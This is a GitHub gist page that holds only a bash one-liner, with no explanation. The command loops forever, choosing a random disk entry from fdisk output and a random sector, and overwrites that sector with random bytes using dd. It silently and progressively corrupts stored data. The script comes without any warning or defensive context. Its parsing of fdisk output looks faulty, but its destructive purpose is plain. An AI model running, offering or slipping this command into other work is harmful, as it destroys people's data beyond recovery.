Last active
January 22, 2018 19:12
-
-
Save granolocks/0878203e2059529eefcf9e22366610b0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do drive=$(fdisk -l | grep "/dev/sd" | grep -v Disk | awk '{print $2}' | sort -R | head -n 1); sector=$(shuf -i 1-$(fdisk -l | grep $drive | grep -v Disk | awk '{print $4}' | sort -R | head -n 1) -n 1); dd if=/dev/urandom of=$drive seek=$sector count=1 bs=512; done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment